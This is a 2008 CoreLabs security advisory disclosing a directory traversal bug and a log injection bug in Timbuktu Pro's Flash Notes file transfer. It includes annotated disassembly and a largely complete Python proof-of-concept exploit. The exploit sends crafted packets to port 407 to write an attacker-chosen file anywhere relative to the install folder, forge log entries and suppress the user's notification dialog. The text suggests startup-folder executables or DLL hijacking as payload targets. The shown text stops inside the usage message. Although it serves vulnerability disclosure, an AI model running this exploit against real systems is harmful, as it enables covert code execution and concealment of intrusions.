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Core Security Technologies - CoreLabs Advisory
http://www.coresecurity.com/corelabs
Timbuktu Pro Remote Path Traversal and Log Injection
*Advisory Information*
Title: Timbuktu Pro Remote Path Traversal and Log Injection
Advisory ID: CORE-2008-0204
Advisory URL: http://www.coresecurity.com/?action=item&id=2166
Date published: 2008-03-11
Date of last update: 2008-03-11
Vendors contacted: Motorola
Release mode: Forced release
*Vulnerability Information*
Class: Remote Path Traversal
Remotely Exploitable: Yes
Locally Exploitable: No
Bugtraq ID: 28081=09
CVE Name: CVE-2008-1117, CVE-2008-1118=09
*Vulnerability Description*
Timbuktu Pro [1] is a desktop-to-desktop remote control software for the
Windows and Macintosh operating systems. The following vulnerabilities
have been identified in Timbuktu Pro:
1) File transfer directory traversal (CVE-2008-1117): The '\' and '/'
are not properly sanitized when checking the destination filename. The
problem resides in the Notes feature implemented by tb2ftp.dll loaded by
the tb2pro.exe. This is the main issue.
2) Log input manipulation (CVE-2008-1118): Several fields of the packet
containing peer information (computer name, user name and IP address)
are taken from the packet sent to the target and used to display this
information on the screen of the target.
The vulnerabilities discovered allow a remote attacker to upload a file
to an arbitrary location on the victim's machine and forge peer
information on the log lines of the victim's application. For example,
an attacker could write an executable in a startup directory of the
victim's machine and wait for the user to restart his/her machine.
Another example is to write a fake system DLL in an existing program
directory, inducing Windows to load this module instead of the real DLL
from 'C:\WINDOWS\system32\'
*Vulnerable Packages*
. Timbuktu Pro 8.6.5 for Windows.
. Timbuktu Pro 8.7 for Mac OS X may also be vulnerable.
*Non-vulnerable Packages*
*Vendor Information, Solutions and Workarounds*
Contact the vendor for fix information.
*Credits*
This vulnerability was discovered and researched by Sebastian Mu=F1iz from
CORE IMPACT's Exploit Writing Team (EWT), Core Security Technologies.
*Technical Description / Proof of Concept Code*
The most important bug is the directory traversal (1) bug for the Flash
Notes feature of the Timbuktu Pro client.
Timbuktu Pro is able to send Flash Notes (like an instant message) and
attach files to those notes. Both the message (which will be written to
a text file once received by the target) and the files attached to the
note are transferred to a temporal folder on the target installation
folder (default path is C:\Program Files\Timbuktu Pro\). The file
transfer begins and it is unnoticed by the target user. Once the
transfer is complete, the target user is shown a dialogue on the screen
that displays the message with the names of the files attached.
The user reads the message and he/she can decide whether or not to keep
the uploaded files. If the user closes the message dialogue, the files
are deleted from the temp folder; otherwise they are kept. The bug
allows the attacker to upload a file to ANY location relative to the
Timbuktu Pro installation folder with an attacker-selected filename for
the target.
Another very important thing is that when the files are stored outside
the temporal folder, they are not deleted even if the user refuses to
save the file.
Additionally, the attacker can avoid displaying the dialogue that
notifies the user about the message and the attached files making the
attack invisible for the target.
The other bug is a logging file content manipulation vulnerability
allowing the attacker to use the data inside protocol's packet to
disrupt the log file with control characters like '\n' and others. This
bug is not very important alone, but could be combined with the
traversal bug to cover tracks about the file upload inserting false log
lines or control characters.
In the following code the the program obtains the filename from the
packet searching from right to left for the filename without the path
following the last '\'. Then if a '\' character is found then it doesn't
search for the character '/', making it possible to traverse the
directories, sending a filename like '\../../../evil.exe'. In this
example, the resulting filename extracted is '../../../evil.exe'.
A dangerous possibility is writing an executable in a startup directory
of the victim's machine and wait for the user to restart his/her
machine. Another one is writing a fake system DLL in an existing program
directory, inducing Windows to load this module instead of the real DLL
from 'C:\WINDOWS\system32\'
Disassembled vulnerable code follows, read the comments if you want to
fully understand the bug:
/-----------
.text:6063A62E mov edx, [ebp+lp]
.text:6063A631 mov eax, [edx+20h] ; Packet field containing filename
.text:6063A634 push eax ; EAX is also the output buffer
.text:6063A635 call ds:Pascal2C ; Extract filename from packet
.text:6063A63B push '\' ; Char to filter in the filename
.text:6063A63D mov ecx, [ebp+lp]
.text:6063A640 mov edx, [ecx+20h]
.text:6063A643 push edx ; Filename obtained in 0x6063A635
.text:6063A644 call _strrchr ; Search for '\' in the filename
.text:6063A649 add esp, 8 ; At this point, the pointer to the
; position of the '\' is obtained and
; will be stored in a local variable.
.text:6063A64C mov [ebp+pSlashPosition], eax ; Store '\' pointer
.text:6063A64F cmp [ebp+pSlashPosition], 0 ; This is the BUG !!!!
.text:6063A653 jnz short loc_6063A669 ; It avoids checking '/' if
; '\' was found, so we must
; send '\' and then as much
; "../" as we want :)
.text:6063A655 push '/' ; This check won't be done
.text:6063A657 mov eax, [ebp+lp] ; because the '\' was found
.text:6063A65A mov ecx, [eax+20h]
.text:6063A65D push ecx
.text:6063A65E call _strrchr
.text:6063A663 add esp, 8
.text:6063A666 mov [ebp+pSlashPosition], eax
.text:6063A669 loc_6063A669:
.text:6063A669 cmp [ebp+pSlashPosition], 0 ; Check if a slash was =09
;found so
.text:6063A66D jz short loc_6063A68C ; it
copies past it's ;position
.text:6063A66F push 200h
.text:6063A674 mov edx, [ebp+pSlashPosition]; Get the '\' position
and move
.text:6063A677 add edx, 1 ; forward 1 byte to avoid it
.text:6063A67A push edx
.text:6063A67B mov eax, [ebp+lp]
.text:6063A67E add eax, 4B0h
.text:6063A683 push eax
.text:6063A684 call ds:lstrcpynA ; From know on, the filename
.text:6063A68A jmp short loc_6063A6A ; contains something like
; ../a.exe :)
. . . . .
- -----------/
Proof of concept code follows. This PoC allows a remote attacker to
upload a file to an arbitrary location on the victim's machine and forge
peer information on the log lines of the victim's application.
/-----------
from sys import argv
from socket import *
from struct import pack
#from utils import printFormatted
#from time import sleep
init_send_op_packet = ( '\x00\x01\x60\x00\x00\x52\x00\x25'
'\x00\x22\x02\x01\x00\x04\x03\x07'
'\x00\x05\x00\x01\x00\x00\x00\xf1'
'\x06\x00\xf7\x76\xdd\x77\x00\x00'
'\x00\x00\x08\x7c\x67\x60\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x18\xf1\x06\x00\xd1\x90'
'\xbc\x60\x38\xf1\x06\x00\x32\x94'
'\xc1\x60\x50\x92\xc4\x60\x00\x00'
'\x00\x00\x18\x92\xc4\x60\x2d\xbe'
'\x80\x7c\x08\x7c\x67\x60\x20\x46'
)
second_send_op_packet = ( '\x00\x01\x61\x00\x00\x52\x00\x25'
'\x00\x22\x02\x01\x00\x04\x03\x07'
'\x00\x05\x00\x01\x10\x00\xe0\xf0'
'\x06\x00\x51\x05\x91\x7c\x28\x09'
'\x08\x00\x6d\x05\x91\x7c\x1c\xf1'
'\x06\x00\x02\x00\x00\x00\x10\x00'
'\x00\x00\xb8\xf5\xbe\x60\x00\x00'
'\xac\x00\x00\x00\x00\x00\xbd\xf5'
'\xbe\x60\x30\x90\xc4\x60\x07\x00'
'\x00\x00\xd0\x13\x63\x60\x71\xfb'
'\x90\x7c\x40\xf0\x06\x00\x0e\x00'
)
peer_info_exchange = ( '\x00\x01\x62\x00\x00\xb0\x00\x23'
'\x07\x22\x03\x07\x70\x2c\xa5\x51'
'\x4c\xca\xe3\xfb\x70\x2c\xa5\x51'
'\x4c\xca\xe3\xfb\x00\x09'
'%(user_name)s'
'\x01\x97'
'%(host_name)s'
''
'\x00\x00\x01\x02\x00\x04'
'\xb1\x1c\x39\x51\x00\x00\x00\x00'
'%(guest_ip_address)s'
'\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00'
)
ack_peer_info = '\xff'
attach_info_packet = ('\xfb\x00\x00\x00\x00'
'BINAmdos'
'\xc2\x12\x49\xaf\xbd\x35\xac\x98'
'\x00\x00\x00\x00'
'%(attachment_length)s'
'\x00\x00\x00\x00'
'\xff\xff\xff\xff\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00'
'%(attachment_filename)s'
)
attach_info_ack1 = '\xf9\x00'
# Transfer file content here !!!
# \xF8 + 2 byte length + data
attach_file_ack1 = '\xf7'
attach_file_ack2 = '\xfa'
class Tb2FileSender:
'''
Fake timbuktu client that implements the 'Notes' feature to send a
message with a file attached to it.
'''
def __init__(self, target, fake_src_ip, fake_hostname,
fake_username, dest_filename, file_content):
'''
Setup TCP Connection to standard port TCP/407
'''
self.sck = socket(AF_INET, SOCK_STREAM)
self.sck.connect((target, 407))
self.fake_src_ip = fake_src_ip
self.fake_hostname = fake_hostname # Peer computer name
self.fake_username = fake_username # Peer user name
self.dest_filename = dest_filename # Destination filename
including path (like ../../a.exe)
self.file_content = file_content # Content of the
destination file
def sendAndRecv(self, packet, log, expected_response_length=0x500,
print_response=False):
self.sck.send(packet)
if log:
print '[-] %s' % log
if expected_response_length > 0:
resp = self.sck.recv(expected_response_length)
if print_response:
#printFormatted(resp)
print '-' * 70 + '\n'
return resp
return None
def getPascalString(self, str):
'''
Format the strings as 1 Byte Length + String.
'''
return pack('B', len(str)) + str
def createFakePeerInfoPacket(self):
'''
Create a packet with forged guest information to avoid giving away
real info in the log files.
'''
#
# Ohhh... by the way, these two names goes diretly to the log
file... ehehhee :)
#
guest_host_name = self.fake_hostname.replace('\\n', '\r\n')
guest_user_name = self.fake_username.replace('\\n', '\r\n')
username_max_len = 0x37 # This is not the application real
limit,
hostname_max_len = 0x3f # but it is the limit for this packet.
host_name = self.getPascalString(guest_host_name)
user_name = self.getPascalString(guest_user_name)
# Pad the string to fill the empty space and avoid packet length
recalculation
host_name += ('\x00' * (hostname_max_len -
len(guest_host_name)))
user_name += ('\x00' * (username_max_len -
len(guest_user_name)))
guest_ip_address = self.fake_src_ip.split('.')
guest_ip_address = pack('BBBB', int(guest_ip_address[0]),
int(guest_ip_address[1]), int(guest_ip_address[2]),
int(guest_ip_address[3]))
return peer_info_exchange % vars()
def getAttachContent(self):
'''
Retrieve the content of the local file and send it as the attach
content.
'''
fd = open(self.file_content, 'rb')
data = fd.read()
fd.close()
return data
def send(self):
'''
Send a sequence of packet to upload our data to the filename and
path
specified by the user's parameters.
'''
# Begin protocol negotiation with the target
self.sendAndRecv(init_send_op_packet, 'Note
Operation initial packet sent.')
self.sendAndRecv(second_send_op_packet, 'Note
Operation negotiation packet sent.')
# Send the packet with our fake info to fool the logs :)
self.sendAndRecv(self.createFakePeerInfoPacket(), 'Peer info
packet sent.')
self.sendAndRecv(ack_peer_info, 'Ack peer
info packet sent.')
# Setup attachment packets that contain information about the
file being transfered
max_trx_chunk_size = 0x5B4
trx_until_resync = 0x16C5
payload = self.getAttachContent()
payload_length = len(payload)
attachment_length = pack('>L', payload_length)
#
# Send info about the attachment.
#
# The '\' character is nedded to bypass the application filter.
# This is actually the Bug !
attachment_filename = self.getPascalString('\\' +
self.dest_filename.replace('\\', '/'))
attach_info = attach_info_packet % vars()
self.sendAndRecv(attach_info , 'Attachment info sent.')
self.sendAndRecv(attach_info_ack1, 'Attachment intermediate
info sent.')
# Create a list with the chunks to send and prepare their
headers is appropriate
attachment_content = list()
# We check if the data to send fits into one set of chunks.
if payload_length < max_trx_chunk_size:
attachment_content.append('\xF8' + pack('>H',
payload_length) + payload)
else:
# If the data is bigger than one chunk, then send multiple
chunks and their headers.
curr_pos = 0 # keeps our current position into
the data file content
resync_chunk = True # flag to indicate if a new set of
chunk should be set
pos_in_chunk = 0 # keeps our position into the
current chunk set
do_recv = False # flag to indicate if recv is needed
to receive target data
while curr_pos <= payload_length:
do_recv = False
# Is this the last chunk ?
if curr_pos > 0 and pos_in_chunk != trx_until_resync:
# If it is the last chunk, then just set length to
the rest of the data
if trx_until_resync - pos_in_chunk < max_trx_chunk_size:
chunk_length = trx_until_resync - pos_in_chunk
do_recv = True
else:
# Otherwise, set the data length as usual
because it's an intermediate chunk
chunk_length = max_trx_chunk_size
data = ''
else:
# Start a new set of chunks and check if this is not
the last set
# If it is, then don't set the maximun size, just
the rest of the length.
data = '\xF8' # Set the chunk set header
if payload_length - curr_pos < trx_until_resync:
chunk_length = payload_length - curr_pos
data += pack('>H', chunk_length)
else:
# This is not the last chunk, so we set the
maximun size and begin
# it transmittion.
chunk_length = max_trx_chunk_size
data += pack('>H', trx_until_resync)
pos_in_chunk = 0
# Append the current chunk into a list to be sent later
attachment_content.append((do_recv, data +
payload[curr_pos : curr_pos + chunk_length]))
curr_pos += chunk_length
pos_in_chunk += chunk_length
#
# Send file content in small chunks
#
print '[-] Beginning file transfer... (this may take some time)'
for chunk in attachment_content:
if chunk[0]:
do_recv = 0x500
else:
do_recv = 0
self.sendAndRecv(chunk[1], '', do_recv)
#sleep(0.5)
print '[-] File transfer complete'
# Send the final ACKs to allow the program to create the remote
file.
self.sendAndRecv(attach_file_ack1, 'Note body intermediate
info sent.')
self.sendAndRecv(attach_file_ack2, 'Note body intermediate
info sent.')
# Close the connection here to avoid the program displaying any
message
self.sck.close()
return
if __name__ == "__main__":
if len(argv) != 7:
print (r'\nUsage:\n\n%s